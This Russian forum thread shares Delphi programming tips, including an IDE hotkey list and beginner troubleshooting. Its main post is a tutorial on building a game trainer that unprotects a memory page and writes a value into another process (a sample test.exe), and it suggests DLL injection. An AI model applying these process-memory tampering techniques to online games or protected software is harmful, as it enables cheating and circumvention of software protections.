Hotkey and Execute your Buttons Codeprocedure TForm1.Timer1Timer(Sender: TObject);beginif(GetAsyncKeyState(VK_F1) <> 0)then Button1.Click;end;end.Источник: mpcforum.com 1 Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 14 января, 2010 Автор Поделиться Опубликовано 14 января, 2010 Ещё хочется добавить по поводу ToolHelp 32 API. В данном случае FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);мы создаём поиск процессов. А ещё существует поиск модулей. В тех случаях, когда нам нужно исправлять что-то в модулях.Также хочу напомнить, что есть класс TSystemInfo32 (вроде правильно написал), который может помочь в некоторых случаях. Например определить адресные границы .exe файла или модуля, найти директорию в которой находится исполняемый файл по дескриптору процесса и другиеСПРАВОЧНИК ПО API функциями Ссылка на комментарий Поделиться на другие сайты Поделиться
Xipho Опубликовано 14 января, 2010 Поделиться Опубликовано 14 января, 2010 Я не понял, зачем в приведенном выше коде используется несколько раз одна и та же процедура с единственным измененным параметром. Выигрыша в памяти в данном случае нет (а я так понял, что размер последнего параметра процедуры Poke призван снижать размер затрачиваемой памяти). Это раз. А во-вторых - с большинством современных игр этот трюк уже не прокатит, так как секции кода обычно имеют защиту от записи, и перед записью в них нужно менять защиту функцией VirtualProtectEx, затем делать запись и потом снова указанной функцией восстанавливать исходную защиту. Иначе будет вылет из игры. Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 14 января, 2010 Автор Поделиться Опубликовано 14 января, 2010 Согласен с Xipho, что много поуков. Рационально оставить только pokeX и соответственно вызывать его. И переименовать лучше на просто poke. Ссылка на комментарий Поделиться на другие сайты Поделиться
ArxLex Опубликовано 15 января, 2010 Поделиться Опубликовано 15 января, 2010 Я не понял, зачем в приведенном выше коде используется несколько раз одна и та же процедура с единственным измененным параметром. Выигрыша в памяти в данном случае нет (а я так понял, что размер последнего параметра процедуры Poke призван снижать размер затрачиваемой памяти). Это раз. А во-вторых - с большинством современных игр этот трюк уже не прокатит, так как секции кода обычно имеют защиту от записи, и перед записью в них нужно менять защиту функцией VirtualProtectEx, затем делать запись и потом снова указанной функцией восстанавливать исходную защиту. Иначе будет вылет из игры.Ну, так посвети нам, если не трудно 1 Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 15 января, 2010 Автор Поделиться Опубликовано 15 января, 2010 Да тут и так всё понятно... Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 2 марта, 2010 Автор Поделиться Опубликовано 2 марта, 2010 Я не когда не задумывался насколько полезны некоторые горячие клавиши при программировании в Дельфи в больших проектах: в частности переходы по закладкам, по процедурам, конструирование шаблонов и др.Кому нужно, то берите на заметку.F1 контекстная помощьF3 продолжить поиск (начать – Ctrl+F )F4 выполнить программу до положения курсораF5 поставить Break PointF7 трассировать с заходом в процедурыF8 трассировать без захода в процедурыF9 запустить программуF10 активизировать главное менюF11 открыть/закрыть Object InspectorF12 переход между формой и кодомCtrl-F1 контекстная помощьCtrl-F2 прервать выполнение программыCtrl-F3 посмотреть стекCtrl-F4 закрыть текущий модульCtrl-F5 список переменных для просмотра (Watch List)Ctrl-F7 просмотр значений переменных и их изменениеCtrl-F9 компилировать проектCtrl-F10 активизировать главное менюCtrl-F11 открыть проектCtrl-F12 список модулей проектаShift-F7 трассировка заходя в каждую процедуру и перескакивание в каждое возникающее событиеShift-F10 всплывающее менюShift-F11 добавить модуль к проектуShift-F12 список форм проекта для быстрой навигацииAlt-F4 закрыть проект и все файлыAlt-F6 переключение оконAlt-F8 переход к следующей ошибке компиляцииAlt-F7 переход к предыдущей ошибке компиляцииCtrl-Shift-F4 закрыть проект и все файлыAlt-Ctrl-F11 менеджер проектовAlt-Shift-F4 закрыть все окна, но проект не закрыватьCtrl-Shift-0..9 поставить метку 0..9Ctrl-0..9 перейти на метку 0..9Alt-0 список оконCtrl-Enter открыть файл с именем слова на котором курсор стоитCtrl+кликмышкойна слове перейти на определение этого словаAlt+выделениетекста(мышкой иликлавиатурой) выделение вертикального блокаCtrl+Shift+UpCtrl+Shift+Down переход от объявления процедуры к ее реализацииCtrl-Shift-C закончить метод (если он описан – создать шаблон для реализации,если есть реализация – объявить метод)Ctrl+Space высветить список методов, свойств объекта (после точки)Ctrl+Shift+Space высветить список параметров функцииCtrl-Shift-E открыть эксплорер кодаCtrl-Shift-R начать/завершить запись макроCtrl-Shift-P выполнить записанное макроCtrl-Shift-T добавить в To Do листCtrl-Shift-U уменьшить отступ выделенного блокаCtrl-Shift-I увеличить отступ выделенного блокаCtrl-Shift-S сохранить какCtrl-Shift-G вставить GUIDCtrl-Shift-B посмотреть иерархию классовCtrl+Shift+Y удалить от курсора до конца строкиCtrl+Shift+Z redoCtrl-Alt-W watch ListCtrl-Alt-R grep resultCtrl-Alt-T список потоков проектаCtrl-Alt-A вставить датуCtrl-Alt-S вызовы стекаCtrl-Alt-H шаблон для документации модуляCtrl-Alt-L локальные переменныеCtrl-Alt-V история событийCtrl-Alt-B список Break PointsCtrl-Alt-M МодулиCtrl-N вставить пустую строку, курсор остается на текущей строкеCtrl-MEnter вставить пустую строку, курсор переходит на следующую строкуCtrl-E поиск по мере введения символов (Incremental Search)Ctrl-R поиск и заменаCtrl-A выделить весь текст (только Дельфи 6+)Ctrl-T удалить от курсора до конца словаCtrl-Y удалить строкуCtrl-O, O вставить все текущие опции компиляции по позиции курсораCtrl+O, C marks a column blockCtrl+O, I marks an inclusive blockCtrl+O, K marks a non-inclusive block (default when the editor starts)Ctrl+O, L marks a line as a blockCtrl-P префикс, после которого можно вставить любой ASCII кодCtrl-S сохранить текущий файлCtrl-F открыть диалог поискаCtrl-J лист шаблоновCtrl-K, С копирование блока без буфера обменаCtrl-Z отменаCtrl-X вырезатьCtrl-С копироватьCtrl-V вставитьCtrl-B список буферовCtrl+K, R читать блок из файлаCtrl+K, W записать блок в файлCtrl+O, U изменить регистр букв в блоке на противоположныйCtrl+O, A диалог: “открыть файл”Ctrl+O, G переход к строке номер…Ctrl+K, E перевод слова в нижний регистрCtrl+K, T выделить словоCtrl+K, Y удалить выделенный блокCtrl+K, U unindent blockCtrl+K, I indent blockCtrl+K, P печать текстаCtrl+K, F перевод слова в вверхний регистрAlt+[Alt+] найти соответствующую скобкуCtrl+Q, P вернуть курсор на место последнего редактирования Ссылка на комментарий Поделиться на другие сайты Поделиться
live_4_ever Опубликовано 16 марта, 2010 Поделиться Опубликовано 16 марта, 2010 Помогите...как в Delphi 7 сделать .exe файл? e nfv j,]zcybnt gkp... Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 16 марта, 2010 Автор Поделиться Опубликовано 16 марта, 2010 -Создать проект WindowsForms (или дргого типа), сохранив его в некоторую директорию.-Скомпилировать проект (нажать F9)-Получиться и запустится exe файл находящийся в директории проекта. Ссылка на комментарий Поделиться на другие сайты Поделиться
live_4_ever Опубликовано 17 марта, 2010 Поделиться Опубликовано 17 марта, 2010 -Создать проект WindowsForms (или дргого типа), сохранив его в некоторую директорию.-Скомпилировать проект (нажать F9)-Получиться и запустится exe файл находящийся в директории проекта.О_о получилось, спасибо большое ...Пока больше вопросов нет. Ссылка на комментарий Поделиться на другие сайты Поделиться
live_4_ever Опубликовано 24 марта, 2010 Поделиться Опубликовано 24 марта, 2010 У меня после компиляции выходит командная строка. А зачем? Вот скрин:А как сделать чтобы не выходила? Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 24 марта, 2010 Автор Поделиться Опубликовано 24 марта, 2010 Как у тебя так получилось, может ты не так создал проект?! Может ты по какому-то примеру делал, можешь указать? Поищи в интернете простой пример создания приложения на Дельфи. Я думаю тогда вопросы будут решены... Ссылка на комментарий Поделиться на другие сайты Поделиться
Xipho Опубликовано 25 марта, 2010 Поделиться Опубликовано 25 марта, 2010 Получается такое элементарно. В свойствах проекта надо указать, что приложение Гуевое (Windows GUI), в противном случае проект компилится как Windows Console. А для консольного приложения автоматически создается консоль. Что, в принципе, вполне логично... Ссылка на комментарий Поделиться на другие сайты Поделиться
live_4_ever Опубликовано 26 марта, 2010 Поделиться Опубликовано 26 марта, 2010 Да! Спасибо. Получилось. Я тоже с начало думал чего то не то делаю, оказалось...Только в свойствах я не нашел где нужно указать "что приложение Гуевое". Но отметил, что "EXE: Generate console application" и так... пошло. Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 21 сентября, 2010 Автор Поделиться Опубликовано 21 сентября, 2010 Создание трейнера на Дельфи для начинающихНа этом примере будет показано, как сделать программу, которую можно считать очень простым трейнером с деланным за минут 3-5 при готовых модулях.Скачайте новый проект Source_SimpleTrainer.rar и можете прочитать, как он был сделан. Цель - записать один раз значение “100” по некоторому адресу. Возьмём за пример тестовую программу test.exe, которая лежит вместе с исходниками.Найдём адрес значения в Cheat Engine Рис.1 Поскольку адрес теперь мы знаем,то приступим непосредственно к делу.Скачаем среду разработки Дельфи Лайт (размер установщика порядка 70 мб). Дельфи не плохая среда разработки и подходит для начинающих только изучающих язык Паскаль или боле сложный язык Дельфи (Дельфи можно называть языком и средой разработки) Писать мы будем на готовой форме, поэтому трейнер будет порядка 500 кб. Если хотите меньше, то просим на наш форум.Создадим проект как показано на рисунке. Рис.2 Разместим компоненты таймера и картинки (шаг 3, шаг 4)Кликнем на форму, на которой уже есть таймер и пунктир картинки и заполним поля (шаг 1, шаг 2)Рис.3 Выделим мышкой иконку таймера, которую вы перетащили на форму и поставим в свойствах Interval 100. Кликнем на картинку и установим её свойства: Align – alClient (выравнивание картинки внутри главного окна) picture - выберите вашу картинку. Я взял скрин с нового номер журнала Игромании.У таймер поставьте свойство интервала в 10 мс и Enable поставьте true Напишем модули (но их писать не надо, т.к. они уже у Вас есть):MemoryUse.pas Metrik.pas Process.pas Sound.pas MemoryProtect.pas Вы можете увидеть их в готовом проектеРис.4 Дальше сделаем обработчики события: кликаем на компонент, переходим во вкладку events (события), выбираем событие и по два раза кликаем мышкой на нём чтобы сформировать код обработки события. Теперь на о том как это делается.Кликаем на окно формы. Переходим в events и дальше как на рисунке Рис.5 Тоже самое теперь проделываем с таймером.Рис.6 И наконец, пишем код выделенный красной рамкой.Рис.7 Полный код представляет следующее.unit frmMain;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, jpeg;type TForm3 = class(TForm) Image1: TImage; Timer1: TTimer; procedure FormDestroy(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations }end;var Form3: TForm3;implementation{$R *.dfm}uses Process,MemoryUse,MemoryProtect, Metrik, Sound;var Process : TProcess; MemWriter : TMemWriter; MemProtected : TMemProtected;procedure TForm3.FormCreate(Sender: TObject);begin Process:=TProcess.Create('test.exe'); MemWriter:=TMemWriter.Create(Process);end;procedure TForm3.FormDestroy(Sender: TObject);begin MemWriter.Free; Process.Free;end;procedure TForm3.Timer1Timer(Sender: TObject);begin if (GetAsyncKeyState(VK_F2)<>0) then // если нажата клавиша F2 то… begin MemProtected:= TMemProtected.Create(Process,$0045B5A4,4); // снимем защиту страницы памяти с адреса $0045B5A4 MemProtected.UnProtectPage; MemWriter.TryMemDIGWrite('$0045B5A4','100',_dword); // запишем адрес MemProtected.OldProtectPage; // восстановим защиту страницы памяти MemProtected.Destroy; sleep(500); // пауза, чтобы пользователь end;end;end.Компилируем проект: значок плей. В этот момент происходит компиляция и запуск приложения. Проверям. Нажимаем на F2 происходи звук. Кликаем на кнопку тестовой программы и мы видим, что число там стало не 117, а 101. Заключение. Это руководство всего лишь начальный старт для тех, кто только учится писать трейнеры например на Дельфи. Есть ещё более гибкий язык C++ поддерживается средой разработки Visual Studio. Именно на этой среде разработки создано множество игр под операционную систему Windows. На C++ как-то приятнее писать программы c WinAPI, т.е. трейнеры. Но он и гораздо сложнее, чем Дельфи. Так что выбор за вами.Здесь было рассмотрено, как создавать проект в Дельфи. Немного показано как работать с компонентами VCL, как формировать обработчики событий. Было показано как заставить трейнер реагировать на нажатие кнопки клавиатуры записывая значение по адресу. Вы также можете создать ещё один таймер2, который будет замораживать значения по адресу. Таймер горячих клавиш будет включать таймер2.procedure TForm3.Timer2Timer(Sender: TObject);begin if (cheat1 = true) begin MemWriter.TryMemDIGWrite('$0045B5A4','100',_dword); end; end; Не забудьте перед включением таймер2 использовать один раз MemProtected:= TMemProtected.Create(Process,$0045B5A4,4); // снимем защиту страницы памяти с адреса $0045B5A4MemProtected.UnProtectPage; БезMemProtected.OldProtectPage; // восстановим защиту страницы памятиMemProtected.Destroy;sleep(500); // пауза, чтобы пользователь успел отпустить клавишуКогда вы выключите таймер2, то используйте MemProtected.OldProtectPage; // восстановим защиту страницы памяти MemProtected.Destroy;Недостатки этого трейнера: 1) Я описал поддержку записи только в адрес памяти простым методом. Но этого может "не хватить". Причина в том, что часто требуется запись в адрес по указателю. А иногда нужен индивидуальный подход к записи по адресу, когда указатель особенный. Бывают случаи когда цепочка указателей состоит из динамических звеньев [[[статичный адрес]+смещение1]+смещение2] = значение. Например, смещение 1 постоянно меняется, и найти его можно только через условие, которое можно оформить только программным путём. Например, Если [[[статичный адрес]+0x250] равно 0x14, то { смещение1 = [[[статичный адрес]+0x254][[[статичный адрес]+смещение1]+смещение2] = значение. } Т.е. в данном случае имеем динамический массив объектов, которые часто перетасовываются во время игры. Объекты содержат свой собственный тип. Игра обращается к адресу объекта приводя его к типу, а тип получает по идентификатору, который объект содержит в своей структуре. В общем тут свои сложности.2) В сжатом виде, если запаковать пакером этот трейнер занимает 270 кб. Можно использовать WinAPI и тогда он будет меньше.3) Тем не менее, всё это не то. Трейнер по моему представлению должен представлять из себя загрузчик .dll в процесс игры. И там эта .dll ка может творить многие вещи. Тем более dll-ку можно писать на языке высокого уровня и удобно делать очень сложные читы, которые на ассемблере в скриптах Cheat Engine писать трудоёмко. Если у вас есть вопросы, то их можно задать у нас на форуме. 1 Ссылка на комментарий Поделиться на другие сайты Поделиться
live_4_ever Опубликовано 25 сентября, 2010 Поделиться Опубликовано 25 сентября, 2010 Мне уже даже стыдно говорить: но нет. И Mozilla Firefox тоже также. Может это у меня что. Лучше с начало я у себя проверю... Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 26 сентября, 2010 Автор Поделиться Опубликовано 26 сентября, 2010 Внимание в моём посте выше в теме "Создание трейнера на Дельфи для начинающих" теперь правильно расставлены скриншоты. В некоторых местах кода было исправление на OldProtectPage - восстановление предыдущей защиты стариницы памяти. Также я не пояснил для тех кто не знает. Страница памяти кратна 1000 байт. Если изменяем защиту памяти процесса для адреса, то меняется вся страница памяти включающая этот адрес. Более подробно я где-то писал на форуме про защиту памяти.Специально для тех кто не хочет регистрироваться или для Лива исходники пока можно скачать с рапиды - ссылка. Сроки хранения исходников на сайте по ссылке ограничены.Лив, Xipho мне писал, что должно быть всё нормально. Не знаю, что у тебя за проблемы Попробуй спросить у других людей, скачивается ли у них. В другом случае я на сторонние файлобменники выкладывать больше не буду. Ссылка на комментарий Поделиться на другие сайты Поделиться
live_4_ever Опубликовано 26 сентября, 2010 Поделиться Опубликовано 26 сентября, 2010 Окей.Все я скачал нормально, спасибо Это и правда у меня проблемы были. Теперь знаю. Ссылка на комментарий Поделиться на другие сайты Поделиться
Гость slorgi Опубликовано 20 января, 2011 Поделиться Опубликовано 20 января, 2011 Ваш скриншотСкрин меню моего делфиПерепробывал несколько версий, исходники открываются с ошибкой, поделитесь ссылкой на делфи из статьи) Ссылка на комментарий Поделиться на другие сайты Поделиться
Рекомендуемые сообщения